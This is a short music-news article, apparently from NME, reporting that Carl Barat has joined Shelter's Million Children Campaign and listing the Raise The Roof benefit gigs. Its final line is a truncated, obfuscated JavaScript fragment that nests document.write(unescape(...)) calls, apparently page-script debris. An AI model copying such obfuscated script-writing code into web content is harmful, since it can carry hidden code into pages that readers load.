Carl Barat joins Shelter campaign

Carl Barat is the latest celebrity to join Shelter's Million Children Campaign.

The guitarist has pledged his support for the campaign by sitting in a red chair which is currently touring the UK as part of the charity's Raising The Roof series of gigs, allowing live music fans to register their protest.

The Million Children Campaign aims to highlight the impact of bad housing on the health, education and future prospects of one million children in the UK. People across the country have had their picture taken in the chair to show that they “won't stand for it”.

Barat told NME.COM: “Problems like this are constantly highlighted and seldom is ever done about it.”

He added: “So to have this opportunity that someone thinks that I might be able to have any kind of influence over this situation at all is something that's important to me and it's an opportunity I don't want to miss.”

Other celebrities who have joined the campaign include The Clash's Mick Jones, Bryan Ferry, Kasabian, The Departure, The Rakes and Willy Mason.

Shelter's red chair has toured England and Wales and will culminate in a major photography exhibition later this year in which the photos of all who have taken part will be used. Photos are available to view in an online gallery at www.shelter.org.uk/sit-in.

The special Raise The Roof series of gigs will kick off on April 2 at London's Brixton Academy with Feeder, The Departure and Thee Unstrung.

10 000 Things are also set to play Birmingham Bar Academy (April 4) and British Sea Power will rock Birmingham Carling Academy (April 7) in support of the Shelter campaign.

Further acts are to be announced shortly.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22